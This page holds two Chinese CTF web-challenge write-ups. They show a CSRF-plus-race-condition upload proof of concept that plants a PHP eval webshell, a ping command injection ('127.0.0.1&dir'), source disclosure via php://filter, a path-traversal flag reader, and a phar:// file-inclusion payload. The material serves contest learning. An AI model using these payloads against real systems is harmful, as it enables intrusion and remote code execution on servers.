标签: writeup

安恒杯一月赛部分题目writeup

首先感谢下安恒举办的比赛,还有大神们的讲解,学习了


再来个友情链接

发现.git泄漏,拿到源码

发现上传文件,代码审计

if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){
	die('Access Denied');
}
...
...
$ext = getExt($_FILES['file']['name']);
	$filename = './upload/temp/'.$flid.$ext;
	$dst = './upload/images/'.$flid.'.jpg';
	move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
	if(file_exists($filename)){
		try {
			if(file_exists($dst))
				@unlink($dst);
			resizeimg($filename, $dst, 100, 50);
		}catch(Exception $e){
			echo 'Caught exception: ',  $e->getMessage(), "\n";
		}
	}

发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。

因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell

poc:

<html>
    <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM");
        xhr.withCredentials = "true";
        var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" +
          "\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"flid\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "上传\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
<script>
	var html = '';
	for(var k=0; k<1000; k++){
		html = html + '<script>submitRequest();<\/script>';
	}
	document.write(html);
</script>
  </body>
</html>

继续阅读 安恒杯一月赛部分题目writeup

(WEB)ping也能ping挂 writeup

最近又水了一个CTF,分享一道web题

打开界面可以看到需要输入一个ip地址 会返回ping结果 所以可以尝试 | 来执行下一个命令 但发现被过滤了

换一个方法

127.0.0.1&dir

找到上传入口

可以看到一个上传和查看源码

查看源码利用的

you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload

base64解密

<?php
/**
 * Created by PhpStorm.
 * User: xnianq
 * Date: 2017/10/19
 * Time: 上午11:24
 */
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>this_is_upload_page</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="">

    <!-- Le styles -->
    <link href="../css/bootstrap.css" rel="stylesheet">
    <style>
        body {
            padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
        }
    </style>
    <link href="../css/bootstrap-responsive.css" rel="stylesheet">
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="./ico/apple-touch-icon-144-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="114x114" href="./ico/apple-touch-icon-114-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="./ico/apple-touch-icon-72-precomposed.png">
    <link rel="apple-touch-icon-precomposed" href="./ico/apple-touch-icon-57-precomposed.png">
    <link rel="shortcut icon" href="./ico/favicon.png">
</head>

<body>

<div class="navbar navbar-inverse navbar-fixed-top">
    <div class="navbar-inner">
        <div class="container">
            <button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="brand" href="#">C1sec工具体验</a>
            <div class="nav-collapse collapse">
                <ul class="nav">
                    <li ><a href="index.php">Home</a></li>
                    <li ><a href="ping.php">ping</a></li>
                    <li ><a href="you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload">查看源码</a></li>
                </ul>
            </div><!--/.nav-collapse -->
        </div>
    </div>
</div>
<div class="container">
    <h1>少年你还是找到了这里,这才是本次攻击的重点 :)</h1>
    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
        <label>Select image to upload:</label>
        <input type="file" name="file">
        <button type="submit" class="btn" name="submit">upload</button>
        <pre>
        <?php
        $type = array('gif','jpg','png');
        mt_srand((time() % rand(1,100000)%rand(1000,9000)));
        echo mt_rand();
        if (isset($_POST['submit'])) {
            $check = getimagesize($_FILES['file']['tmp_name']);
            @$extension = end(explode('.',$_FILES['file']['name']));//后缀
            if(in_array($extension,$type)){
                echo 'File is an image - ' . $check['mime'];//内容头
                $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                echo "<br>\n";
            } else {
                echo "File is not an image";
            }
        }
        if(isset($_GET['p'])){
            if(@preg_match("/\.\.\//",$_GET['p'])){
                echo "你这个孩子,too young too simple";
            }
            else{
               @include $_GET['p'].".php";
            }
        }
        ?>
    </pre>
    </form>
</div> <!-- /container -->

<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="../js/jquery-3.2.1.min.js"></script>

</body>
</html>

首先可以看到后端对文件后缀做了白名单验证 加上php版本都没有解析漏洞 最后试了好多方法 半夜想到可以试试伪协议,因为下面可以用文件包含来使用绕过,两种问题必须配合用才可以(感觉好多web题都涉及开伪协议了)

常见php伪协议:

* file:// — 访问本地文件系统

* http:// — 访问 HTTP(s) 网址

* ftp:// — 访问 FTP(s) URLs

* php:// — 访问各个输入/输出流(I/O streams)

* zlib:// — 压缩流

* data:// — 数据(RFC 2397)

* glob:// — 查找匹配的文件路径模式

* phar:// — PHP 归档

* ssh2:// — Secure Shell 2

* rar:// — RAR

* ogg:// — 音频流

* expect:// — 处理交互式的流

所以我们可以写一个读取flag的1.php

<?php 
 $file = fopen('../../../../../../../../etc/flag.txt','r');

    if($file){
        while(!feof($file)){
            $line = fgetc($file);
            echo $line;
        }
    }
    fclose($file);
?>

然后压缩为zip

上传时修改后缀为.png 但type的zip类型不要改

上传成功,继续往下看代码

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

设置了一个文件名的随机数

学长帮写了一个爆破程序

爆破出来 文件名假设最后为305005900_1.png

然后..

继续看代码

else{
               @include $_GET['p'].".php";
            }

一个文件包含,最后会自动加上.php,这也是比较纠结的一个点,最后的解决办法就是上面说的可以配合伪协议使用

(题目的难点就是只能上传图片后缀的文件,但却只能读取.php的文件)

所以最后利用phar解里面的1.php

构造的payload为:

http://xxxx/web1/you_find_upload.php?p=phar://upload/305005900_1.png/1